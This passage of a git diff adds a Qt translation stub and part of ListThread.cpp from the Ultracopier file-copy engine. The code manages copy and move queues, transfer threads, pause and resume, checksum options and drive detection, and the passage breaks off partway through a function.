+ <message>
+ <location filename="../../folderExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="14"/>
+ <source>The source and destination is identical</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="82"/>
+ <location filename="../../folderExistsDialog.ui" line="150"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="99"/>
+ <location filename="../../folderExistsDialog.ui" line="160"/>
+ <source>Folder name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="116"/>
+ <location filename="../../folderExistsDialog.ui" line="184"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="227"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="238"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="245"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="252"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="259"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="266"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins/CopyEngine/Ultracopier/ListThread.cpp b/plugins/CopyEngine/Ultracopier/ListThread.cpp
new file mode 100644
index 0000000..48e06db
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/ListThread.cpp
@@ -0,0 +1,2379 @@
+#include "ListThread.h"
+#include <QStorageInfo>
+#include <QMutexLocker>
+
+ListThread::ListThread(FacilityInterface * facilityInterface)
+{
+ moveToThread(this);
+ start(HighPriority);
+ this->facilityInterface = facilityInterface;
+ putInPause = false;
+ sourceDriveMultiple = false;
+ destinationDriveMultiple = false;
+ destinationFolderMultiple = false;
+ stopIt = false;
+ bytesToTransfer = 0;
+ bytesTransfered = 0;
+ idIncrementNumber = 1;
+ actualRealByteTransfered = 0;
+ numberOfTransferIntoToDoList = 0;
+ numberOfInodeOperation = 0;
+ putAtBottom = 0;
+ maxSpeed = 0;
+ inodeThreads = 1;
+ renameTheOriginalDestination = false;
+ doRightTransfer = false;
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ rsync = false;
+ #endif
+ keepDate = false;
+ checkDiskSpace = true;
+ blockSize = ULTRACOPIER_PLUGIN_DEFAULT_BLOCK_SIZE*1024;
+ sequentialBuffer = ULTRACOPIER_PLUGIN_DEFAULT_SEQUENTIAL_NUMBER_OF_BLOCK;
+ parallelBuffer = ULTRACOPIER_PLUGIN_DEFAULT_PARALLEL_NUMBER_OF_BLOCK;
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ blockSizeAfterSpeedLimitation = blockSize;
+ #endif
+ osBufferLimit = 512;
+ alwaysDoThisActionForFileExists = FileExists_NotSet;
+ doChecksum = false;
+ checksumIgnoreIfImpossible = true;
+ checksumOnlyOnError = true;
+ osBuffer = false;
+ osBufferLimited = false;
+ forcedMode = false;
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ clockForTheCopySpeed = NULL;
+ multiForBigSpeed = 0;
+ #endif
+
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
+ connect(&timerUpdateDebugDialog,&QTimer::timeout,this,&ListThread::timedUpdateDebugDialog);
+ timerUpdateDebugDialog.start(ULTRACOPIER_PLUGIN_DEBUG_WINDOW_TIMER);
+ #endif
+ connect(this, &ListThread::tryCancel, this,&ListThread::cancel, Qt::QueuedConnection);
+ connect(this, &ListThread::askNewTransferThread, this,&ListThread::createTransferThread, Qt::QueuedConnection);
+ connect(&mkPathQueue, &MkPath::firstFolderFinish, this,&ListThread::mkPathFirstFolderFinish, Qt::QueuedConnection);
+ connect(&mkPathQueue, &MkPath::errorOnFolder, this,&ListThread::mkPathErrorOnFolder, Qt::QueuedConnection);
+ connect(this, &ListThread::send_syncTransferList, this,&ListThread::syncTransferList_internal, Qt::QueuedConnection);
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ connect(&mkPathQueue, &MkPath::debugInformation, this,&ListThread::debugInformation, Qt::QueuedConnection);
+ connect(&driveManagement,&DriveManagement::debugInformation, this,&ListThread::debugInformation, Qt::QueuedConnection);
+ #endif // ULTRACOPIER_PLUGIN_DEBUG
+
+ emit askNewTransferThread();
+ mkpathTransfer.release();
+}
+
+ListThread::~ListThread()
+{
+ emit tryCancel();
+ waitCancel.acquire();
+ quit();
+ wait();
+}
+
+//transfer is finished
+void ListThread::transferInodeIsClosed()
+{
+ numberOfInodeOperation--;
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG_SCHEDULER
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("numberOfInodeOperation: %1").arg(numberOfInodeOperation));
+ #endif
+ TransferThread *temp_transfer_thread=qobject_cast<TransferThread *>(QObject::sender());
+ if(temp_transfer_thread==NULL)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("transfer thread not located!"));
+ return;
+ }
+ bool isFound=false;
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ int countLocalParse=0;
+ #endif
+ if(temp_transfer_thread->getStat()!=TransferStat_Idle)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("transfer thread not idle!"));
+ return;
+ }
+ int int_for_internal_loop=0;
+ const int &loop_size=actionToDoListTransfer.size();
+ while(int_for_internal_loop<loop_size)
+ {
+ if(actionToDoListTransfer.at(int_for_internal_loop).id==temp_transfer_thread->transferId)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[%1] have finish, put at idle; for id: %2").arg(int_for_internal_loop).arg(temp_transfer_thread->transferId));
+ Ultracopier::ReturnActionOnCopyList newAction;
+ newAction.type=Ultracopier::RemoveItem;
+ newAction.userAction.moveAt=0;
+ newAction.addAction=actionToDoTransferToItemOfCopyList(actionToDoListTransfer.at(int_for_internal_loop));
+ newAction.userAction.position=int_for_internal_loop;
+ actionDone << newAction;
+ /// \todo check if item is at the right thread
+ actionToDoListTransfer.removeAt(int_for_internal_loop);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("actionToDoListTransfer.size(): %1, actionToDoListInode: %2, actionToDoListInode_afterTheTransfer: %3").arg(actionToDoListTransfer.size()).arg(actionToDoListInode.size()).arg(actionToDoListInode_afterTheTransfer.size()));
+ if(actionToDoListTransfer.isEmpty() && actionToDoListInode.isEmpty() && actionToDoListInode_afterTheTransfer.isEmpty())
+ updateTheStatus();
+
+ //add the current size of file, to general size because it's finish
+ copiedSize=temp_transfer_thread->copiedSize();
+ if(copiedSize>(qint64)temp_transfer_thread->transferSize)
+ {
+ oversize=copiedSize-temp_transfer_thread->transferSize;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("add oversize of: %1").arg(oversize));
+ bytesToTransfer+=oversize;
+ bytesTransfered+=oversize;
+ }
+ bytesTransfered+=temp_transfer_thread->transferSize;
+
+ if(temp_transfer_thread->haveStartTime)
+ {
+ timeToTransfer << QPair<quint64,quint32>(temp_transfer_thread->transferSize,temp_transfer_thread->startTransferTime.elapsed());
+ temp_transfer_thread->haveStartTime=false;
+ }
+ temp_transfer_thread->transferId=0;
+ temp_transfer_thread->transferSize=0;
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ countLocalParse++;
+ #endif
+ isFound=true;
+ if(actionToDoListTransfer.isEmpty())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"actionToDoListTransfer==0");
+ actionToDoListInode << actionToDoListInode_afterTheTransfer;
+ actionToDoListInode_afterTheTransfer.clear();
+ doNewActions_inode_manipulation();
+ }
+ break;
+ }
+ int_for_internal_loop++;
+ }
+ if(isFound)
+ deleteTransferThread();
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("unable to found item into the todo list, id: %1, index: %2").arg(temp_transfer_thread->transferId).arg(int_for_internal_loop));
+ temp_transfer_thread->transferId=0;
+ temp_transfer_thread->transferSize=0;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("countLocalParse: %1, actionToDoList.size(): %2").arg(countLocalParse).arg(actionToDoListTransfer.size()));
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ if(countLocalParse!=1)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("countLocalParse != 1"));
+ #endif
+ doNewActions_inode_manipulation();
+}
+
+/** \brief put the current file at bottom in case of error
+\note ONLY IN CASE OF ERROR */
+void ListThread::transferPutAtBottom()
+{
+ TransferThread *transfer=qobject_cast<TransferThread *>(QObject::sender());
+ if(transfer==NULL)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("transfer thread not located!"));
+ return;
+ }
+ bool isFound=false;
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ int countLocalParse=0;
+ #endif
+ int indexAction=0;
+ while(indexAction<actionToDoListTransfer.size())
+ {
+ if(actionToDoListTransfer.at(indexAction).id==transfer->transferId)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("Put at the end: %1").arg(transfer->transferId));
+ //push for interface at the end
+ Ultracopier::ReturnActionOnCopyList newAction;
+ newAction.type=Ultracopier::MoveItem;
+ newAction.addAction.id=transfer->transferId;
+ newAction.userAction.position=actionToDoListTransfer.size()-1;
+ actionDone << newAction;
+ //do the wait stat
+ actionToDoListTransfer[indexAction].isRunning=false;
+ //move at the end
+ actionToDoListTransfer.move(indexAction,actionToDoListTransfer.size()-1);
+ //reset the thread list stat
+ transfer->transferId=0;
+ transfer->transferSize=0;
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ countLocalParse++;
+ #endif
+ isFound=true;
+ break;
+ }
+ indexAction++;
+ }
+ if(!isFound)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("unable to found item into the todo list, id: %1, index: %2").arg(transfer->transferId));
+ transfer->transferId=0;
+ transfer->transferSize=0;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("countLocalParse: %1").arg(countLocalParse));
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ if(countLocalParse!=1)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("countLocalParse != 1"));
+ #endif
+ transfer->skip();
+}
+
+//set the copy info and options before runing
+void ListThread::setRightTransfer(const bool doRightTransfer)
+{
+ mkPathQueue.setRightTransfer(doRightTransfer);
+ this->doRightTransfer=doRightTransfer;
+ int index=0;
+ int loop_sub_size_transfer_thread_search=transferThreadList.size();
+ while(index<loop_sub_size_transfer_thread_search)
+ {
+ transferThreadList.at(index)->setRightTransfer(doRightTransfer);
+ index++;
+ }
+}
+
+//set keep date
+void ListThread::setKeepDate(const bool keepDate)
+{
+ mkPathQueue.setKeepDate(keepDate);
+ this->keepDate=keepDate;
+ int index=0;
+ int loop_sub_size_transfer_thread_search=transferThreadList.size();
+ while(index<loop_sub_size_transfer_thread_search)
+ {
+ transferThreadList.at(index)->setKeepDate(keepDate);
+ index++;
+ }
+}
+
+//set block size in KB
+void ListThread::setBlockSize(const int blockSize)
+{
+ this->blockSize=blockSize*1024;
+ int index=0;
+ int loop_sub_size_transfer_thread_search=transferThreadList.size();
+ while(index<loop_sub_size_transfer_thread_search)
+ {
+ transferThreadList.at(index)->setBlockSize(this->blockSize);
+ index++;
+ }
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ setSpeedLimitation(maxSpeed);
+ #endif
+}
+
+//set auto start
+void ListThread::setAutoStart(const bool autoStart)
+{
+ this->autoStart=autoStart;
+}
+
+#ifdef ULTRACOPIER_PLUGIN_RSYNC
+/// \brief set rsync
+void ListThread::setRsync(const bool rsync)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"set rsync: "+QString::number(rsync));
+ this->rsync=rsync;
+ int index=0;
+ int loop_sub_size_transfer_thread_search=transferThreadList.size();
+ while(index<loop_sub_size_transfer_thread_search)
+ {
+ transferThreadList.at(index)->setRsync(rsync);
+ index++;
+ }
+ for(int i=0;i<scanFileOrFolderThreadsPool.size();i++)
+ scanFileOrFolderThreadsPool.at(i)->setRsync(rsync);
+}
+#endif
+
+//set check destination folder
+void ListThread::setCheckDestinationFolderExists(const bool checkDestinationFolderExists)
+{
+ this->checkDestinationFolderExists=checkDestinationFolderExists;
+ for(int i=0;i<scanFileOrFolderThreadsPool.size();i++)
+ scanFileOrFolderThreadsPool.at(i)->setCheckDestinationFolderExists(checkDestinationFolderExists && alwaysDoThisActionForFolderExists!=FolderExists_Merge);
+}
+
+void ListThread::fileTransfer(const QFileInfo &sourceFileInfo,const QFileInfo &destinationFileInfo,const Ultracopier::CopyMode &mode)
+{
+ if(stopIt)
+ return;
+ addToTransfer(sourceFileInfo,destinationFileInfo,mode);
+}
+
+// -> add thread safe, by Qt::BlockingQueuedConnection
+bool ListThread::haveSameSource(const QStringList &sources)
+{
+ if(stopIt)
+ return false;
+ if(sourceDriveMultiple)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"sourceDriveMultiple");
+ return false;
+ }
+ if(sourceDrive.isEmpty())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"sourceDrive.isEmpty()");
+ return true;
+ }
+ int index=0;
+ while(index<sources.size())
+ {
+ if(driveManagement.getDrive(sources.at(index))!=sourceDrive)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"sources.at(index))!=sourceDrive");
+ return false;
+ }
+ index++;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"seam have same source");
+ return true;
+}
+
+// -> add thread safe, by Qt::BlockingQueuedConnection
+bool ListThread::haveSameDestination(const QString &destination)
+{
+ if(stopIt)
+ return false;
+ if(destinationDriveMultiple)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"destinationDriveMultiple");
+ return false;
+ }
+ if(destinationDrive.isEmpty())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"destinationDrive.isEmpty()");
+ return true;
+ }
+ if(driveManagement.getDrive(destination)!=destinationDrive)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"destination!=destinationDrive");
+ return false;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"seam have same destination");
+ return true;
+}
+
+/// \return empty if multiple or no destination
+QString ListThread::getUniqueDestinationFolder() const
+{
+ if(stopIt)
+ return QString();
+ if(destinationFolderMultiple)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"destinationDriveMultiple");
+ return QString();
+ }
+ return destinationFolder;
+}
+
+ScanFileOrFolder * ListThread::newScanThread(Ultracopier::CopyMode mode)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start with: ")+QString::number(mode));
+
+ //create new thread because is auto-detroyed
+ scanFileOrFolderThreadsPool << new ScanFileOrFolder(mode);
+ connect(scanFileOrFolderThreadsPool.last(),&ScanFileOrFolder::finishedTheListing, this,&ListThread::scanThreadHaveFinishSlot, Qt::QueuedConnection);
+ connect(scanFileOrFolderThreadsPool.last(),&ScanFileOrFolder::fileTransfer, this,&ListThread::fileTransfer, Qt::QueuedConnection);
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ connect(scanFileOrFolderThreadsPool.last(),&ScanFileOrFolder::debugInformation, this,&ListThread::debugInformation, Qt::QueuedConnection);
+ #endif
+ connect(scanFileOrFolderThreadsPool.last(),&ScanFileOrFolder::newFolderListing, this,&ListThread::newFolderListing);
+ connect(scanFileOrFolderThreadsPool.last(),&ScanFileOrFolder::addToMovePath, this,&ListThread::addToMovePath, Qt::QueuedConnection);
+ connect(scanFileOrFolderThreadsPool.last(),&ScanFileOrFolder::addToRealMove, this,&ListThread::addToRealMove, Qt::QueuedConnection);
+ connect(scanFileOrFolderThreadsPool.last(),&ScanFileOrFolder::addToMkPath, this,&ListThread::addToMkPath, Qt::QueuedConnection);
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ connect(scanFileOrFolderThreadsPool.last(),&ScanFileOrFolder::addToRmForRsync, this,&ListThread::addToRmForRsync, Qt::QueuedConnection);
+ #endif
+
+ connect(scanFileOrFolderThreadsPool.last(),&ScanFileOrFolder::errorOnFolder, this,&ListThread::errorOnFolder, Qt::QueuedConnection);
+ connect(scanFileOrFolderThreadsPool.last(),&ScanFileOrFolder::folderAlreadyExists, this,&ListThread::folderAlreadyExists, Qt::QueuedConnection);
+
+ connect(this,&ListThread::send_updateMount, scanFileOrFolderThreadsPool.last(),&ScanFileOrFolder::set_updateMount, Qt::QueuedConnection);
+
+ scanFileOrFolderThreadsPool.last()->setFilters(include,exclude);
+ scanFileOrFolderThreadsPool.last()->setCheckDestinationFolderExists(checkDestinationFolderExists && alwaysDoThisActionForFolderExists!=FolderExists_Merge);
+ scanFileOrFolderThreadsPool.last()->setMoveTheWholeFolder(moveTheWholeFolder);
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ scanFileOrFolderThreadsPool.last()->setRsync(rsync);
+ #endif
+ if(scanFileOrFolderThreadsPool.size()==1)
+ updateTheStatus();
+ scanFileOrFolderThreadsPool.last()->setRenamingRules(firstRenamingRule,otherRenamingRule);
+ return scanFileOrFolderThreadsPool.last();
+}
+
+void ListThread::scanThreadHaveFinishSlot()
+{
+ scanThreadHaveFinish();
+}
+
+void ListThread::scanThreadHaveFinish(bool skipFirstRemove)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("listing thread have finish, skipFirstRemove: ")+QString::number(skipFirstRemove));
+ if(!skipFirstRemove)
+ {
+ ScanFileOrFolder * senderThread = qobject_cast<ScanFileOrFolder *>(QObject::sender());
+ if(senderThread==NULL)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"sender pointer null (plugin copy engine)");
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start the next thread, scanFileOrFolderThreadsPool.size(): ")+QString::number(scanFileOrFolderThreadsPool.size()));
+ delete senderThread;
+ scanFileOrFolderThreadsPool.removeOne(senderThread);
+ if(scanFileOrFolderThreadsPool.isEmpty())
+ updateTheStatus();
+ }
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start the next thread, scanFileOrFolderThreadsPool.size(): ")+QString::number(scanFileOrFolderThreadsPool.size()));
+ if(scanFileOrFolderThreadsPool.size()>0)
+ {
+ //then start the next listing threads
+ if(scanFileOrFolderThreadsPool.first()->isFinished())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"Start listing thread");
+ scanFileOrFolderThreadsPool.first()->start();
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"The listing thread is already running");
+ }
+ else
+ autoStartAndCheckSpace();
+}
+
+void ListThread::autoStartAndCheckSpace()
+{
+ if(needMoreSpace())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"Need more space");
+ return;
+ }
+ autoStartIfNeeded();
+}
+
+void ListThread::autoStartIfNeeded()
+{
+ if(autoStart)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"Auto start the copy");
+ startGeneralTransfer();
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"Put the copy engine in pause");
+ putInPause=true;
+ emit isInPause(true);
+ }
+}
+
+void ListThread::startGeneralTransfer()
+{
+ doNewActions_inode_manipulation();
+}
+
+// -> add thread safe, by Qt::BlockingQueuedConnection
+bool ListThread::newCopy(const QStringList &sources,const QString &destination)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start: ")+sources.join(";")+QStringLiteral(", destination: ")+destination);
+ ScanFileOrFolder * scanFileOrFolderThread = newScanThread(Ultracopier::Copy);
+ if(scanFileOrFolderThread==NULL)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"unable to get new thread");
+ return false;
+ }
+ scanFileOrFolderThread->addToList(sources,destination);
+ scanThreadHaveFinish(true);
+ detectDrivesOfCurrentTransfer(sources,destination);
+ return true;
+}
+
+// -> add thread safe, by Qt::BlockingQueuedConnection
+bool ListThread::newMove(const QStringList &sources,const QString &destination)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ ScanFileOrFolder * scanFileOrFolderThread = newScanThread(Ultracopier::Move);
+ if(scanFileOrFolderThread==NULL)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"unable to get new thread");
+ return false;
+ }
+ scanFileOrFolderThread->addToList(sources,destination);
+ scanThreadHaveFinish(true);
+ detectDrivesOfCurrentTransfer(sources,destination);
+ return true;
+}
+
+void ListThread::detectDrivesOfCurrentTransfer(const QStringList &sources,const QString &destination)
+{
+ /* code to detect volume/mount point to group by windows */
+ if(!sourceDriveMultiple)
+ {
+ int index=0;
+ while(index<sources.size())
+ {
+ const QString &tempDrive=driveManagement.getDrive(sources.at(index));
+ //if have not already source, set the source
+ if(sourceDrive.isEmpty())
+ sourceDrive=tempDrive;
+ //if have previous source and the news source is not the same
+ if(sourceDrive!=tempDrive)
+ {
+ sourceDriveMultiple=true;
+ break;
+ }
+ index++;
+ }
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("source informations, sourceDrive: %1, sourceDriveMultiple: %2").arg(sourceDrive).arg(sourceDriveMultiple));
+ if(!destinationDriveMultiple)
+ {
+ const QString &tempDrive=driveManagement.getDrive(destination);
+ //if have not already destination, set the destination
+ if(destinationDrive.isEmpty())
+ destinationDrive=tempDrive;
+ //if have previous destination and the news destination is not the same
+ if(destinationDrive!=tempDrive)
+ destinationDriveMultiple=true;
+ }
+ if(!destinationFolderMultiple)
+ {
+ //if have not already destination, set the destination
+ if(destinationFolder.isEmpty())
+ destinationFolder=destination;
+ //if have previous destination and the news destination is not the same
+ if(destinationFolder!=destination)
+ destinationFolderMultiple=true;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("destination informations, destinationDrive: %1, destinationDriveMultiple: %2").arg(destinationDrive).arg(destinationDriveMultiple));
+}
+
+void ListThread::setCollisionAction(const FileExistsAction &alwaysDoThisActionForFileExists)
+{
+ this->alwaysDoThisActionForFileExists=alwaysDoThisActionForFileExists;
+ int index=0;
+ int loop_sub_size_transfer_thread_search=transferThreadList.size();
+ while(index<loop_sub_size_transfer_thread_search)
+ {
+ transferThreadList.at(index)->setAlwaysFileExistsAction(alwaysDoThisActionForFileExists);
+ index++;
+ }
+}
+
+/** \brief to sync the transfer list
+ * Used when the interface is changed, useful to minimize the memory size */
+void ListThread::syncTransferList()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ emit send_syncTransferList();
+}
+
+//set the folder local collision
+void ListThread::setFolderCollision(const FolderExistsAction &alwaysDoThisActionForFolderExists)
+{
+ this->alwaysDoThisActionForFolderExists=alwaysDoThisActionForFolderExists;
+}
+
+bool ListThread::getReturnBoolToCopyEngine() const
+{
+ return returnBoolToCopyEngine;
+}
+
+QPair<quint64,quint64> ListThread::getReturnPairQuint64ToCopyEngine() const
+{
+ return returnPairQuint64ToCopyEngine;
+}
+
+Ultracopier::ItemOfCopyList ListThread::getReturnItemOfCopyListToCopyEngine() const
+{
+ return returnItemOfCopyListToCopyEngine;
+}
+
+void ListThread::set_doChecksum(bool doChecksum)
+{
+ this->doChecksum=doChecksum;
+ int index=0;
+ int loop_sub_size_transfer_thread_search=transferThreadList.size();
+ while(index<loop_sub_size_transfer_thread_search)
+ {
+ transferThreadList.at(index)->set_doChecksum(doChecksum);
+ index++;
+ }
+}
+
+void ListThread::set_checksumIgnoreIfImpossible(bool checksumIgnoreIfImpossible)
+{
+ this->checksumIgnoreIfImpossible=checksumIgnoreIfImpossible;
+ int index=0;
+ int loop_sub_size_transfer_thread_search=transferThreadList.size();
+ while(index<loop_sub_size_transfer_thread_search)
+ {
+ transferThreadList.at(index)->set_checksumIgnoreIfImpossible(checksumIgnoreIfImpossible);
+ index++;
+ }
+}
+
+void ListThread::set_checksumOnlyOnError(bool checksumOnlyOnError)
+{
+ this->checksumOnlyOnError=checksumOnlyOnError;
+ int index=0;
+ int loop_sub_size_transfer_thread_search=transferThreadList.size();
+ while(index<loop_sub_size_transfer_thread_search)
+ {
+ transferThreadList.at(index)->set_checksumOnlyOnError(checksumOnlyOnError);
+ index++;
+ }
+}
+
+void ListThread::set_osBuffer(bool osBuffer)
+{
+ this->osBuffer=osBuffer;
+ int index=0;
+ int loop_sub_size_transfer_thread_search=transferThreadList.size();
+ while(index<loop_sub_size_transfer_thread_search)
+ {
+ transferThreadList.at(index)->set_osBuffer(osBuffer);
+ index++;
+ }
+}
+
+void ListThread::set_osBufferLimited(bool osBufferLimited)
+{
+ this->osBufferLimited=osBufferLimited;
+ int index=0;
+ int loop_sub_size_transfer_thread_search=transferThreadList.size();
+ while(index<loop_sub_size_transfer_thread_search)
+ {
+ transferThreadList.at(index)->set_osBufferLimited(osBufferLimited);
+ index++;
+ }
+}
+
+void ListThread::realByteTransfered()
+{
+ quint64 totalRealByteTransfered=0;
+ int index=0;
+ int loop_sub_size_transfer_thread_search=transferThreadList.size();
+ while(index<loop_sub_size_transfer_thread_search)
+ {
+ totalRealByteTransfered+=transferThreadList.at(index)->realByteTransfered();
+ index++;
+ }
+ emit send_realBytesTransfered(totalRealByteTransfered);
+}
+
+void ListThread::pause()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ if(putInPause)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Seam already in pause!");
+ return;
+ }
+ putInPause=true;
+ int index=0;
+ int loop_sub_size_transfer_thread_search=transferThreadList.size();
+ while(index<loop_sub_size_transfer_thread_search)
+ {
+ transferThreadList.at(index)->pause();
+ index++;
+ }
+ emit isInPause(true);
+}
+
+void ListThread::resume()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ if(!putInPause)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Seam already resumed!");
+ return;
+ }
+ putInPause=false;
+ startGeneralTransfer();
+ doNewActions_start_transfer();
+ int index=0;
+ int loop_sub_size_transfer_thread_search=transferThreadList.size();
+ while(index<loop_sub_size_transfer_thread_search)
+ {
+ transferThreadList.at(index)->resume();
+ index++;
+ }
+ emit isInPause(false);
+}
+
+void ListThread::skip(const quint64 &id)
+{
+ skipInternal(id);
+}
+
+bool ListThread::skipInternal(const quint64 &id)
+{
+ int index=0;
+ int loop_sub_size_transfer_thread_search=transferThreadList.size();
+ while(index<loop_sub_size_transfer_thread_search)
+ {
+ if(transferThreadList.at(index)->transferId==id)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("skip one transfer: %1").arg(id));
+ transferThreadList.at(index)->skip();
+ return true;
+ }
+ index++;
+ }
+ int int_for_internal_loop=0;
+ const int &loop_size=actionToDoListTransfer.size();
+ while(int_for_internal_loop<loop_size)
+ {
+ if(actionToDoListTransfer.at(int_for_internal_loop).id==id)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[%1] remove at not running, for id: %2").arg(int_for_internal_loop).arg(id));
+ Ultracopier::ReturnActionOnCopyList newAction;
+ newAction.type=Ultracopier::RemoveItem;
+ newAction.userAction.moveAt=1;
+ newAction.addAction=actionToDoTransferToItemOfCopyList(actionToDoListTransfer.at(int_for_internal_loop));
+ newAction.userAction.position=int_for_internal_loop;
+ actionDone << newAction;
+ actionToDoListTransfer.removeAt(int_for_internal_loop);
